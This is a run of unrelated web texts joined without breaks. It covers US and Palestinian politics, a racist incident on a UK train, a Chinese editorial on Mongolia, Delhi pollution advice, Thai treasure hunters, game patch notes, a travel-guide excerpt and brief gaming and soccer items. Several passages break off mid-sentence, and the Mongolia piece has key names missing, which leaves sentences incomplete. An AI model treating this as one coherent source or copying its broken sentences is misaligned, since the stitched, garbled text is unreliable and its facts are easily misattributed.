The reason, state GOP officials argue, is that O'Donnell is simply unqualified to hold office. A two-time losing candidate against then-Sen. Joseph R. Biden Jr. - whose old seat she and Castle are seeking - O'Donnell has a history of financial difficulties documented in the Wilmington News Journal that includes an IRS lien, a near-foreclosure on her mortgage and a dispute with her alma mater for not paying college expenses. She has a tiny campaign operation and, for most of the year, she received virtually no grass-roots financial support within Delaware.
What O'Donnell has is the backing of Sarah Palin, Sen. Jim DeMint (R-S.C.) and the Tea Party Express. Their support has put her on the national political map not to mention within striking distance of upsetting Castle on Tuesday.
(Interactive: More info on the Delaware Senate race)
Her Republican critics say she would be almost certain to lose, in moderate Delaware, against Democrat Chris Coons in November. That raises the stakes for those in the tea party who are bent on reforming the GOP, even if it means losing seats. It also raises the question of whether the uncomfortable alliance between the tea party and the GOP is coming to an end.
"It is just unbelievable that you would have folks from out of state who know nothing about Delaware, nothing about Christine O'Donnell and nothing about the dynamics of this state to come in and associate themselves with this person," said Tom Ross, chairman of the Republican Party of Delaware and one of O'Donnell's most outspoken critics.
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Isaac Abbs-Brown was travelling on a train from London Euston to Manchester Piccadilly with his family when ‘aggressive’ Man City fans hurled abuse at him.
At one point, Isaac went to the toilet and a group of men started banging down the door, shouting abuse at him.
Isaac and his 11-year-old brother, Joss, are Thai and were adopted by Jani and Ian Abbs-Brown when they were younger.
Jani, who lives in Hayfield, said: “The carriage was full of Manchester City fans who were drunk.
“They were very abusive. When he was in the toilet there was a group of men who were kicking the door down and calling him offensive names.
“He was really upset, he’s only a little boy, we just couldn’t understand it.
“Isaac said to me, ‘That’s not even my ethnicity’”.
On Saturday fans were travelling back to Manchester after City lost 4-1 to Tottenham at White Hart Lane.
Jani said it isn’t the first time Isaac has been subjected to racial abuse.
She said: “He used to go to school in Macclesfield and experienced some racism there.
“But never anything as horrible as this.
“Some of these men were in their 50s. Joss didn’t get any abuse, he was sat by the window reading.
“We were sat on the outside of [the boys], we feel like we have to shield them.”
The group were so aggressive the family decided to move down into another carriage and reported them to the British Transport Police after the incident on Saturday.
(Image: PA)
Jani added: “I think anyone with a family who felt uncomfortable would have moved away.
“Isaac was very upset on Sunday but he’s back at school now and getting on with it.”
A British Transport Police spokesman said: “Our officers were contacted following an incident of alleged racial abuse directed at a 14-year-old boy by a group of Manchester City fans travelling on the 6pm Virgin service from London Euston to Manchester Piccadilly.
“Officers are currently investigating several lines of enquiry to trace those responsible.
“Anyone with information is asked to contact British Transport Police on 0800 405040 or text 61016 quoting the reference 124 of 28/09/15.”
A spokesman for Virgin Trains said they wouldn’t comment because the incident is a police matter.Chinese official on Friday warned that it is "politically harebrained" to seek India's help as the move will further complicate bilateral ties, amid reports that Ulan Bator sought New Delhi's support to overcome financial difficulties arising out of many factors including the imposition of border tariffs against it by
Foreign Ministry spokesman Lu Kang on Thursday declined to respond to a question on Mongolian envoy to New Delhi Gonchig Ganhold's reported comments on seeking India's support to counter Chinese measures, saying he has not heard of any such remarks.
However, state-run Global Times on Friday criticised for approaching
"Sandwiched between Russia and China, vows to remain a neutral state to benefit from both sides without having to get involved in a major-power competition," it said in an article.
"However, it also hopes it could seek a third neighbour, which can enable the country to reap more profits by gaining more bargaining chips. But, Mongolia should be alerted that it cannot afford the risks of such geopolitical games," it said.
"Mongolia seems naive about the way relations work - you cannot harm a country's interests while hoping it can reciprocate nicely," it said, adding, "Mongolia should know that mutual respect is the precondition to develop bilateral relationships and hitch a ride on China's economic development."
"It is even more politically harebrained to ask for support from India, a move that will only complicate the situation and leave a narrower space to sort the issue out. We hope the crisis-hit Mongolia will learn its lessons," it said.
Mongolia caught by surprise by hosting the last month for four days, saying that it was purely a religious visit.
protested with its Foreign Ministry spokesman saying the Tibetan spiritual leader is a "political exile who has long been engaging in splitting China activities in the name of religion with the aim of alienating Tibet from China".
The spokesman, however, didn't confirm or deny a number of counter measures, including hiking over-land transit charges cancelling key bilateral talks to punish Mongolia for its "erroneous action" in defiance of China's warning.
Buddhism, which is widely followed in Mongolia, derives much of its characteristics from Tibetan Buddhism.
Mongolia says it is purely a religious visit by and there was no political strings attached to it. "Since he fled to in 1959 after his separatist revolt was upset, the has become a political advocate calling for the separation of Tibet under the guise of religion," the article said.
"In China's narrative, he is much more a separatist than a religious figure. Receiving him implies endorsement of his deeds, which is highly disapproved of in both government and public discourses in China," it said.
"Whether China's countermeasures are real or not, Mongolia should reflect on its ill-considered handling of the case, lacking diplomatic sophistication and making trouble for in-depth cooperation between both sides," it added.NEW DELHI: In view of high pollution levels in Delhi, group of doctors from top hospitals has issued an advisory suggesting people, especially elders, to avoid morning walks.They said the concentration of PM 2.5, tiny particles that can enter the lungs, and other toxic gases are highest at body-level in the morning.“Exercising is vital for health but not when we are breathing poison,” the health advisory issued as part of ‘my right to breathe’ campaign, stated.It has been endorsed by cardiac surgeon Dr Naresh Trehan, pulmonologist Dr Randeep Guleria and Dr Neeraj Jain, surgeon Dr Arvind Kumar, radiologist Dr Harsh Mahajan, microbiologist Dr Navin Dang and physicians Dr Ashwani Chopra and Dr Alok Chopra.Dr Kumar said a normal adult breathes approximately six litres air per minute at rest but while exercising, he or she may inhale up to 20 litre thus causing more toxicity.“Running a marathon in these air conditions can deposit approximately two tablespoons of toxic ash in your lungs,” the head of department of chest surgery at Sir Ganga Ram hospital (SGRH) said.Cardiovascular and cardiothoracic surgeon Dr Naresh Trehan had earlier demonstrated how the lungs of those residing in Delhi was turning black on account of high pollution when people living in clear locations, for example hill states, had a healthier and pink lungs.“On Thursday, I opened the chest of a 21-year-old girl for biopsy. Her lungs were black which is reflective of the amount of toxins inhaled and deposited,” Dr Kumar said.Many people have been wearing masks while going out and installing air purifiers at home. But experts said these personal measures are of little help. “You cannot wear the masks 24x7. Nor can you filter all the air you breathe using purifiers. The only way out are long-term solutions, for example reducing fuel consumption by using public transport and participating in tree plantation drive.”“The government must find a way to stop crop burning, which adds to the capital’s woes every winter,” said a doctor. D K Agarwal, a member of National Green Tribunal, said giving subsidy to farmers is one of the ways to stop this practice.Dr Mukesh Sharma, a professor at IIT Kanpur, said overloaded trucks cause more pollution than those ferrying the allowed weight. “The law must strictly deal with defaulters, be it trucks or other vehicles violating norms,” he said.Three Lives & Company is hoping the building's new owner will let the store stay at 154 West 10th St. View Full Caption DNAinfo/Danielle Tcholakian
WEST VILLAGE — After 33 years in the West Village, Three Lives & Company's days at 154 West 10th St. may be numbered.
In an email to customers, store owner Toby Cox explained that their building has been put up for sale, and the owners opted not to renew the bookstore's lease, allowing them to stay on a month-to-month basis.
"As you are certainly aware, the white-hot real estate market in New York City means this could present some challenges for the bookshop," Cox wrote in the email.
Cox wrote that he hopes to work with a new owner, when one is found, to keep the shop in its home of more than three decades — or if they have to find a new home, to stay in the West Village.
"The shop has moved once since it originally opened on the corner of West Tenth and Seventh Avenue, and there’s always the possibility for a third life for Three Lives," he wrote. "It is our desire to stay in our neighborhood, the West Village, but we will need to find the right space at the right price, not an easy task considering the current commercial rental conditions in the area."
Cox was not immediately reachable by phone to discuss the email. The rest of the email, in which he thanks his landlords and notes that their business is thriving, follows.The convicted murderer of six Israelis in a 1980 terror attack was elected to head Hebron’s municipal council on Sunday, as West Bank Palestinians went to local elections.
Tayseer Abu Sneineh was selected by Palestinian Authority President Mahmoud Abbas’s Fatah to head the party’s list in Hebron for Saturday’s West Bank elections. Despite the party winning only seven of 15 seats in the West Bank’s largest city, according to official results, Abu Sneineh will have a mandate to head the council.
Abu Sneineh was one of four Palestinian terrorists who on May 2, 1980 attacked a group of Israelis and Jews in a Hebron alley, firing and hurling grenades at them. The attack killed US citizens Tzvi Glatt and Eli HaZe’ev, Canadian Shmuel Marmelstein and Israelis Hanan Krauthammer, Gershon Klein and Ya’akov Zimmerman. Another 20 people were injured in the attack.
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The four terrorists were all sentenced to life in prison, but were released in prisoner exchanges later in the decade.
Palestinians in Hebron just elected this man, who murdered 6 Israelis, to be their mayor. Only in the PA can murderers hold public office. pic.twitter.com/ffZ3slvJSb — Ofir Gendelman (@ofirgendelman) May 14, 2017
The attack occurred on May 2, 1980. The West Bank elections on Sunday fell on the same day of the attack according to the Hebrew calendar, Iyar 17, exactly 37 years later.
Likud Minister Ayoub Kara denounced Abu Sneineh’s victory. That a terrorist was “elected mayor of Hebron is a clear message from the Palestinians [in favor] of terrorist attacks against Israel,” he tweeted. He called on Palestinian Authority President Mahmoud Abbas to annul the election results.
Residents of the nearby Jewish settlement of Kiryat Arba reported hearing gunfire as Hebron residents celebrated the election results.
https://www.facebook.com/TKMGlobal/videos/1329258167157368/
The vote provided Palestinians a rare chance to cast ballots, after over a decade without presidential or legislative elections, and Saturday’s election was seen as a test for Abbas’ embattled and nepotism-tainted party.
The results across the West Bank indicated a weak showing by the ruling Fatah party, even though the rival Islamic Hamas terrorist movement stayed out of the race.
Electoral commission chief Hanna Nasser said 393,572 ballots were cast — “nearly 50 percent of voters.”
Nasser said many of the contenders were from Fatah, while in some villages “clans and families” had decided on the candidate lists.
Turnout was far lower in large cities than in surrounding communities, with the lowest in Nablus, the main city in the northern West Bank, where it was less than 21%. In Nablus, Fatah won 11 of 15 seats, but only after forming an alliance with Islamist candidates.
Ramallah, the Palestinian political capital, saw turnout of less than 40%.
Fatah’s list was notably ahead in the cities of Jenin and Jericho. More than half of the 536 lists participating in the elections were not registered as being affiliated with any party.
While Hamas did not field candidates under its party name, the leftist Popular Front for the Liberation of Palestine called for a boycott.
It said it would refuse to participate in an election while hundreds of Palestinians in Israeli jails were on hunger strike. The prisoners began the hunger strike on April 17, demanding better conditions.
The failure of Hamas and Fatah to reconcile is seen as a major obstacle to any settlement of the Israeli-Palestinian conflict.
The West Bank and Gaza have not participated in an election together since 2006, when Hamas swept Palestinian parliamentary polls, sparking a conflict that led to near civil war in Gaza the following year.
Abbas’s presidential term was meant to end in 2009, but he has remained in office with no elections organized.
Associated Press contributed to this report.Superstition is proving more persuasive than the threat of jail for locals in Phatthalung, with rumours that a hoard of gold unearthed on a small farm last month is haunted helping to boost authorities’ efforts to recover the antiques.
The Fine Arts Department has admitted it has no idea how old the gold is - and indeed may never know - yet insists it is a national treasure that should be handed over to the state. But as efforts to trace the origins and value of the treasure prove challenging, some claim the department is helping spread the ghost stories in an effort to have potentially crucial evidence returned for testing.
It comes amid fears that evidence crucial to the dating process may have been lost during the initial frenzy that surrounded the mini gold rush in Khao Chai Son district late last month.
The rush was triggered when the new owner of a seven-rai land plot in Moo 7 decided to try his hand at farming palm trees. When he began tilling the land, the former used car salesman quite literally struck gold — just below the surface, a huge hoard of coins, ornaments and engraved golden sheets, all believed to be hundreds of years old.
Very superstitious: A villager returned this gold to the Fine Arts Department.
Locals were quick to learn of the discovery, and unable to resist the lure of an easy fortune, a crowd of hundreds soon assembled carrying an assortment of improvised mining equipment. Within two days, it is estimated that at least 18 million baht worth of gold had been collected.
As news of the gold rush spread, the Fine Arts Department stepped in to spoil the party, locking down the site and telling the villagers the gold was not theirs to keep.
Bangkok Post Sunday spoke with Anat Bamrungwong, director of Fine Arts Office 14 in Nakhon Si Thammarat, who is leading efforts to determine the gold’s origins and value.
He explained that the law considers any valuable item that does not have an owner a national treasure. That item automatically belongs to the state, not to the person who owns the land where it is found. “People who take these national treasures and hold onto them can face up to seven years in jail and fines of up to 700,000 baht,” he said.
He explained that while national treasures were found frequently, the Fine Arts Department is only rarely notified.
“By the time we know about it, the items are already in other countries via black market trading,” he said.
In this case, he said the department does not want to resort to legal action to seize the gold. “We want the villagers to give it back because it is the right thing to do. I want them to return it willingly,” Mr Anat said.
The locals have been offered compensation at one-third of the gold’s value. But Mr Anat points out that this might be a better deal than it initially sounds.
He recalls the case of a man in Nakhon Si Thammarat who found four gold Shiva statues. He sold the first two pieces at the standard market price for gold. But when the Fine Arts Department examined the remaining two pieces, they realised their true value as antique artefacts and offered him a price 30 times higher than market value.
Thammasart University history lecturer Pipad Krajaejun said it would be difficult to determine the age and value of the gold found in Phatthalung, since carbon dating cannot be used.
“In order to determine the age of the gold, the Fine Arts Department will need to find other evidence in the area, such as containers made from organic materials which the gold was kept in,” he said.
Finding that evidence might be easier said than done. Mr Pipad explained that when villagers dug up the gold, they likely threw away objects which they believed had no value. But seemingly mundane items, whether they be jars or beads, can in fact be far more valuable than precious metals. Testing on those items could also be used to determine the gold's age and true value.
In the meantime, however, stories of the golden hoard being haunted are helping make the department’s recovery effort a little bit easier.
More than a week after the initial find, many villagers are now returning the gold to officials, claiming a ghost had appeared telling them to hand it back.
Mr Pipad explained that the supernatural visions are most likely a product of guilt.
“Thai people have two main fears: the law and ghosts. When people break the law, they can simply pay the fine or go to jail. But ghosts can give them endless torment by haunting them for a long time,” he said.
Mr Pipad suggested the Fine Arts Department is trying to play with people’s minds by using their beliefs to send the message that they expect the gold to be returned. “Law enforcement can’t really scare them, but ghosts can,” he said.
Mr Anat, however, fears a budget shortage for the department’s investigation into the mystery of where the gold came from and that it will never be solved.
“I requested one million baht, but I only received half of that. We are encountering a lot of expenses, especially daily allowances for 30 soldiers who are assisting the 20 archaeologists at the site,” he said.President Barack Obama on Wednesday gave a rousing speech on America's political culture, decrying the influence of big money, encouraging compromise and warning people against believing in absolutes from either party.
"Trying to find common ground [with Republicans] doesn't make me less of a Democrat or less of a progressive," Obama told an audience in Springfield, Illinois. "It means I'm trying to get stuff done."
The speech was delivered the day after two ideologues, billionaire Donald Trump and Vermont Sen. Bernie Sanders (I), won the New Hampshire primaries by harnessing voter anger at the perceived "establishment" in politics. But Obama's words on Wednesday sounded like a tacit endorsement of his former secretary of state, Hillary Clinton.
Sanders, a self-described democratic socialist, is mounting an insurgent campaign against the more experienced Clinton, promising voters he will deliver universal health care and free college tuition. Clinton, meanwhile, has argued that Sanders' playbook of attacking Wall Street banks and wealthy individuals is unrealistic. Clinton and Sanders have sparred in Democratic debates over who is the true "progressive," with Clinton arguing that progressivism is about results, and Sanders arguing that it's about principle.
Obama, who appointed Clinton his first secretary of state after defeating her in the 2008 Democratic primary, seemed on Wednesday to clearly fall on the Clinton side of the ideological divide.
He said that labels, such as "not a real progressive" -- which Sanders has used against Clinton -- are damaging to the national discourse.
"So when I hear voices in either party boast of their refusal to compromise as an accomplishment in and of itself, I'm not impressed," Obama said. "All that does is prevent what most Americans would consider actual accomplishments, like fixing roads, educating kids, passing budgets, cleaning our environment, making our streets safe."
Obama added, "It cuts both ways, guys."
The president went on to warn against the dangers of "union bashing, or corporate bashing, without acknowledging that both workers and businesses make our economy run."
Sanders has long harbored anger at financial institutions and large companies. "The greed of Wall Street and corporate America is destroying the very fabric of our nation," he said in a speech last month.
But Obama warned Americans against adopting "the notion that compromise is a sellout to one side." Instead, the president said, "we have got to insist on the opposite: that it can be a genuine victory that means progress for all sides."
The theme of progress through incremental action is central to Clinton's presidential campaign. "A progressive is someone who makes progress," Clinton stressed in her last debate against Sanders. The message was in stark contrast to Sanders' insistence that "what we have got to do is wage a political revolution."
These tacit signals of Obama's support for Clinton's campaign themes weren't lost on U.S. political reporters. White House spokesman Josh Earnest pushed back against a suggestion that Obama's speech quietly expressed support for Clinton.
"He criticized union bashing AND corporate bashing & praised workers AND business - all in the same sentence," Earnest tweeted.
Cool it, @morningmoneyben He criticized union bashing AND corporate bashing & praised workers AND business - all in the same sentence. — Josh Earnest (@PressSec) February 10, 2016
Still, while Obama may not wade into what could become a drawn-out Democratic primary process, the signs of his alignment with Clinton were unmistakable.Spoiler: Click for details
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# VERSION 1.4 "Oak"
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# Death or Dishonor Country Pack
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- New focus trees, generals, companies, and ministers for Romania, Hungary, Czechoslovakia and Yugoslavia including alternate history paths.
- New 3d models for vehicles, planes and infantry as well as accompanying 2d art for the new nations
- 3 new war themed music tracks by composer Andreas Waldetoft
- Voice over sounds for infantry units in Czechoslovakia, Romania and Hungary
- You can now License Produce equipment from other nations
- Added Equipment conversion ability on production lines that allow you to convert older equipment to newer and/or self-propelled models
- Added 2 new industry techs that allow you to improve conversion efficiency
- New subject levels for fascist nations: Satellite, Reichsprotectorate and Reichskommisariat
- Added 10 new achievements
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# Free Features & Important
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- All new air controls and interfaces including new air combat screen
- Air missions and wings now visible and selectable on map with ranges etc
- Radar now more visible with ranges on map that can be toggled
- Added possibility to rename air wings and added historical naming schemes to most nations
- Its now possible to stop being capitulated by getting back to 90% and recovering your capital. Rules show on war participant items when they have the capitulate icon up.
- Grabbing territory occupied by others in peace conferences now much more expensive
- Several changes to map and strategic areas for better play
- New impassable borders and areas (Sahara) making warfare in certain parts of the world much more interesting
- Updated interfaces for War overview. Now with more casualties, strength and industry shown.
- Updated interface for Trade for easier overview and easier checking of convoys
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# AI
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- Made AI not bother with fallback orders if the area they would be defending is tiny. Makes the AI better at pushing after landing a naval invasion.
- Made unitcontroller units more decisive in where they are going, as well as various tweaks and fixes to reduce shuffling.
- Significant improvements to front balancing( Units should be far less likely to abandon parts of the front and far better at spreading units out across the front )
- Units controlled by the front should now cancel orders that are heading towards provinces that are no longer part of the front
- Fixed bug that would cause units to get very poorly assigned when an attack order auto splits ( for instance when it reaches its target at a province at the center of the order )
- Improved AI focus a little bit, making idea evaluation a little better.
- Tweaked what it means for a front to have the same value for highest and lowest prio score. Used to cause some fronts to never move.
- Made sure the AI is not trying to upgrade specialist templates before it has the tech.
- Removed mobile template designs, because the AI cannot handle them properly.
- Found and fixed an issue that could lead to AI not assigning units to a plan.
- Found and fixed some rare situational plan activation bugs.
- Fixed to pretty nasty issues with plan activation that caused France to act dumber than usual and charge across the Maginot line again.
- Fixed major booboo that cause AI to often just redraw attack plans
- AI now rebuilds attack plans if they are almost done and getting stuck
- Fixed issue with SOV putting an anti tank battalion in their infantry divisions
- Made sure AI does not convert equipment, for now. AI is better off using what it has than trying to optimize through conversion.
- Tweaked what AI sees as an easy target and weak units for better front activation.
- Overhauled AI plan activation and mode setting.
- Fixed mistake in AI fortification evaluation for plan activation, and made them better at taking advantage of weaknesses in fortified enemy fronts.
- AI will now respect impassable borders when drawing plans.
- Fixed a case of redundant unit shuffle.
- Implemented scriptable production prio per template target.
- Made sure 4 hour rule applies when changing attack target.
- Tons of AI template design bugfixes, improvements and tweaks in both code and script for many of the majors, as well as in the general script for other countries.
- Integrated logic for adding battalions together with replace so both options are evaluated at the same time.
- Found a mistake in template match calculation and fixed it. Now seem 100% solid.
- AI non capital area garrison order no longer guards the whole coast.
- Fixed bug in template match score calculation that could cause some countries to get stuck and not develop any new templates.
- Made sure rounding error does not break unit distribution on fronts.
- Tweaked port building desire based on AI naval focus.
- AI production tweaks taking role changes into account.
- Germany and Soviet are now able to field anti armor divisions.
- Soviet and Germany should now prioritize tank destroyer technology as they are facing enemies with increasing armor.
- Added first pass anti armor roles for Germany and Soviet as well as AI test scripts for it.
- Implemented caching of armor and piercing values per country as well as intel functions to get some of them (others can be added as needed, but keeping).
- Tiny change in AI personality; being hostile towards someone now also means they want to weaken them.
- Made custom icons for AI templates scriptable.
- Increased priority for infantry expert for Japan.
- Trying out Japan starting out doing army primacy.
- AI can handle reinforce priority better when designing templates.
- It is now possible to script reinforcement prio for AI templates, and the AI can handle it.
- Rather drastic changes that effect how many troops end up in Africa.
- Fixed bug in AI deciding on which templates are best for production.
- Improved unitcontroller front shuffling when fighting.
- Improved distance factor for unitcontroller handling fronts during wars.
- Germany no longer loves spending time on motorized.
- Improved Germany AI garrison template.
- Improved AI garrison template design. AI now badly wants to assign garrison units to garrison orders and will avoid assigning armor to garrison or naval invasion orders.
- Separated strategies for building ships, airplanes and land units in order to make saves work with roles.
- Added trigger for if AI has fielded divisions of a certain role for AI testing and template scripting.
- Germany should now be able to design and field garrison units.
- Template roles should now be saved along with deployment lines (they get assigned one to make sure the count per role to build is proper.)
- AI template design progression now works as earlier, but locked within role.
- Roles now exist in upgrading templates and deployment.
- The AI should now be sending and recalling expeditionaries intelligently.
- Removed silly AI code that could potentially lead to AI only front shuffling.
- Fixed the bug when air ai would not deploy any air wings if no airwings deployed already
- Fixed the bug when air AI was too focus on naval air superiority rather than getting air superiority in land combat areas
- Fixed the bug when air AI prioritized own units on friendly territory, rather own units on own territory
- Now AI logic for request and recieve lend-lease equipment should be consistent with each other
- tweaked China's templates so they try to aim for something less industrially costly until strong enough (burn manpower!)
- fixed a case where AI would manage to sneek in nations it didnt actualy want in factions (like finland in axis too early) just because it really really really hated their opponents
- fixed a case where ai would jump on total mobilization despite having low manpower laws and ruinign their reinforcement (probably only ever happened for big nations like china)
- added separate ai scoring bonus for ahead of time techs so they better take advantage of them
- Units that already have good positions on the front are no longer considered for moving along the front
- Fixed bug that could cause units to take a naval path to nearby provinces they could just walk too.
- Fixed bug that could cause units to cancel their move orders when they shouldn't.
- Scripted higher prio for economic and manpower laws.
- AI will ignore historical list when looking for focus to bypass.
- Fixed case where AI could get stuck researching if only single techs were queued and they were not possible to research
- Fixed an issue where AI would queue up tech targets too early so they were not correctly evaluated
- Improved logic for US involvement in the war in the case of swift japanese victory vs china. It will now get interested as australia and india start to fall also
- Minors will now do economic mobilization laws if justified against rather than wait for tension or declaration of war (to help china)
- China now a bit more on the ball on manpower laws as they need to throw anything they can at the invaders
- All nations will now be less spendy on admirals early on
- Soviet will now respect the spirit of the ribbentropp pact and not send volunteers to poland ever
- Chinese AI will now consider naval ministers less interesting
- Tweaked many ai research weights to remove wierd choices due to timing
- Reduced AI research weights for picking heavy tank and special forces techs
- Tweaked ai weights for nations to make better selection on manpower and economic laws
- A lot of changes to AI target templates for majors
- A lot of changes to AI production targets for majors
- Several changes so default AI focus more on inf, capital ships, fighters, less on armor, random planes, and subs/destroyers
##################################
# UI
##################################
- Console now can't be open in multilayer or ironman
- Added tool tip information about amount of division templates in the army when you hover over division counts
- Added option to double click for selection of all units in army with same template
- Made significant fixes to how autoscrolling for selected units list to make sure that now it will follow the selection properly
- Fixed overflow error that could cause wrong display of the intel data numbers
- Fixed the bug when available wargoals alert could stuck in iteration trough countries player has wargoals against
- Fixed the bug when you could request 0 troops from your puppet
- Fixed the bug when civil war country manpower were displayed incorrectly
- Tooltips for battalions in division designer now show correct change in the supply usage
- Now 'Subject main soon rise Autonomy" alert opens subjects screen
- Added reinforcement priority status for the template change menu entries
- Now tooltip for time estimation shows "Never" in case if factories assigned but penalty is too big instead [No factories assigned]
- Added manpower showing on the info diplo screen
- Now equipment type buttons in the request lend lease screen does not depend on the production or stockpile of the requesting side, rather than if this equipment is known to be available for export
- Airbase icons are 30% larger in the strategic air map mode
- Expanded the war overview window to show more information. Major countries now also has a golden frame, and capitulated countries now has a white flag.
- Impassable terrain now has a spiky outline.
- Changed radar tool-tip to clarify it helps you detect enemy fleets rather than your own
- Changed the icon for manpower losses in theater history. It was using the icon for manpower (top bar) but is now using the icon for losses (war casualties).
- Tweaked some interface stuff for air combat (stuff that was meant for the simplified version, but is of no use now).
- Added new texture-files for the simplified air combat interface, to fit some old elements that would be moved into this air combat interface.
- Implemented a simplified version of future air combat interface (in case of planned interface can't be implemented, due to time constraints).
- Changed the cropping width of the Air wing names and air zone names in the air wing interface. This frees up more space for other elements that occupies the interface.
- Changed the highlight color for "outdated equipment", "available licenses" and "active licenses" in the Production window. They were in white but are now in yellow, for consistency.
- Change color of several text elements in naval battle, for more consistency. Parentheses for ship names during naval engagements have been changed from green to white. Changed "dispatch" to "dismiss" in the report for naval battles.
- Changed coloring of naval losses text, for consistency
- Fixed some text-padding in the construction interface (some text was overlapping).
- Added convoys count on lend lease trade route tooltip.
- Fixed issue where there some plane icons had different sizes
- Fixed an issue where animated sprites would sometimes "strobe"
- Changed colors for strategic naval view to match air and be clearer
- Strategic air mapmode now has clearer and more visible coloring
- Fixed overflow issue in peace demand lists
- Created effects and animations on submarine.
- Fixed a bug where machine gun infantry trained with rifles.
- Created march animations for some units that were missign them.
- Tweaked several animations
- Airbase indicator on counters no longer eats zoom-in from mouse
- Efficiency growth now grouped with other modifiers of same type in production interface
- Clarified tooltip of what production is needed for icon in production interface and added tooltip to number also
- Added mip bias to button texture loading as some drivers may be picking a worse mip level for our generals
- Console now can no longer be open in multiplayer or ironman to making life a bit harder for cheaters
- When player is about to build a new radar, the new effect is drawn to indicate the next level range
- Radars now has the on-map-icon. So player can see them when playing with 3d buildings disabled
- Added setting for toggling visibility of radars on map
- Mouse over the radar icon shows the details tooltip and a range indication circle
- While in the strategic air map mode, now the terrain is painted with stripes indicating if any of the selected air wings can be assigned to that region or not
- Fixed missing scrollbar in division designer when selecting custom icon
- Clicking on the army no longer swaps the map mode to the default one. Also it is now possible to draw battleplans in any map mode from pressing the "small" map mode buttons
##################################
# Audio
##################################
- Added and improved sound effects for airplanes.
- Added and tweaked audio assets for infantry and artillery.
- Added more weather sound effects
- Added new notifications sound effects
- Fixed several audio bugs
##################################
# Modding
##################################
- Added triggers for estimated max armor and piercing based on intel.
- Fix for CTD that occurred after reloading focus trees
- added console command "ai_pp_log" to log AI use of PP
- has_idea trigger is no longer affected by order of files in database.
- Fixed a crash when painting cities on the edge of the map.
- Added possibility to hide parts of the focus tree with a trigger. allow_branch = { <trigger> }.
- Added ability to reposition national focus based on trigger.
- Added modifier: IMPROVE_RELATIONS_MAINTAIN_COST_FACTOR
- Added support for relation modifiers and valid_relation_trigger in the static modifiers file. Modifiers are removed if the trigger becomes false.
- Added add_relation_modifier effect that adds a static modifier from current scope to target.
- Added remove_relation_modifier effect.
- Added trigger has_relation_modifier.
- Added modifier license_purchase_cost_factor. Modifies total CIC cost of purchasing a license.
- Added modifier license_production_speed_factor. Modifies production speed for license.
- Added modifier license_tech_difference_speed_factor. Modifies production speed penalty from tech level difference.
- Added dynamic cost_factor modifier for idea groups. Example political_advisor_cost_factor.
- Added ai_license_acceptance modifier, for relation modifiers. Modifies desire for the ai to sell licenses.
- Added modifiers for purchase cost of specific types of licenses. license_air_purchase_cost_factor license_infantry_purchase_cost_factor license_armor_purchase_cost_factor license_naval_purchase_cost_factor
- Added triggers for license production: is_licensing_to and is_licensing_any_to.
- Added set_building_level effect, that sets the level of specified building.
- Added a level < <number> limit for building province buildings.
- Added any_province_building_level trigger.
- Added console commands set_global_flag and set_country_flag.
- Added guarantee_cost modifier. Modifies the PP cost of guaranteeing a nation.
- Added autonomy_gain_global_factor modifier. Factor on all autonomy gained by a subject.
- Added trigger amount_research_slots > <int>
- Added trigger manpower_per_military_factory
- Added allow_branch trigger to technology trees. Will disable and hide all children of a technology that does not meet the trigger.
- Added possibility to look for a specific archetype of ship in has_navy_size trigger.
- Added trigger amount_taken_ideas. Excludes national_spirit, hidden, law = yes. Example: amount_taken_ideas = { amount < <int> (mandatory) category = { military_staff } slot = { army_chief political_advisor } } Category and slot is optional.
- Added on_state_control_changed to on action.
- Added non_core_manpower modifier that can be used on country level to control manpower from non-core territory
- Added new ai strategy land_xp_spend_priority with valid values of "division_template" or "equipment_variant"
- Added new ai strategy pp_spend_priority with valid values of "admiral" or "general" or an idea
- Added new parameter states_filter to start_civil_war effect which filters out invalid states from list
- Added new defines to control costs in peace deals (BASE_PEACE_TAKE_UNCONTROLLED_STATE_FACTOR, BASE_PEACE_TAKE_FACTION_CONTROLLED_STATE_FACTOR)
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about an hour south on the DT Expressway (I-75). This mid-sized city is on the edge of Lake Erie, which offers numerous nearby recreational opportunities. The city is a good destination for restaurant and architecture buffs. Toledo also boasts a nationally known art museum and zoo, and is a regional center for alternative energy research and development.
Cedar Point located in Sandusky, OH is about an hour east of Toledo, this action packed amusement park is routinely ranked among the best in the world.
Ontario [ edit ]
Windsor, Ontario, Canada lies just across the Ambassador Bridge or through the Detroit-Windsor Tunnel, which is located right next to the Renaissance Center (good to use if you see traffic backed up onto I-75). This heavily trafficked border crossing has shaped Windsor more than anything else; well-maintained, walkable streets, shops and restaurants, Caesars Windsor casino, and adult entertainment. The lower drinking age (19) draws young Americans and ensures a vibrant club scene on weekends. Windsor provides great views of Detroit's skyline, especially on summer nights from waterfront Dieppe Park. Crossing the border requires a passport, enhanced driver's license, or a trusted traveler card.
This is a usable article. It has information for getting in as well as some complete entries for restaurants and hotels. An adventurous person could use this article, but please plunge forward and help it grow!Sega Shutting Down Shiren The Wanderer DS & Wii Servers In Japan
By Spencer. July 27, 2011. 1:48am
Mystery Dungeon: Shiren the Wanderer, Shiren the Wanderer DS 2, and Shiren the Wanderer 3 (aka Shiren the Wanderer in North America) will go offline in November. Sega is shutting down the servers for all three titles on October 31.
That means features like online leaderboards, time attack rankings, item/dungeon trading, and the novel rescue system won’t work anymore. Sega made this announcement in Japan, so it’s unclear if this will effect the North American version too. The Wii game, Shiren the Wanderer which Atlus USA published, does not have online features.
Shiren the Wanderer 4 will still have its online features enabled since Sega was not involved with that Nintendo DS game.Twelve Major League Soccer teams will be represented on this year's Generation Adidas team that will tour and train in the Netherlands from Dec. 5-15. During their time in Holland, the team will train at Ajax's facility and play games against the Ajax Reserves (Dec. 8) and second-division Dutch sides FC Volendam (Dec. 13) and Almere City FC (Dec. 14).
Highlighting the Generation Adidas roster are such players as Philadelphia Union goalkeeper Zac MacMath, Montreal Impact defender Zarek Valentin, Columbus Crew midfielder Tony Tchani, Union forward Danny Mwanga and Vancouver Whitecaps forward Omar Salgado. The Union and Red Bulls each ended up with three players on the roster, the most of any team. Sporting Kansas City's Peter Vermes will coach the team.
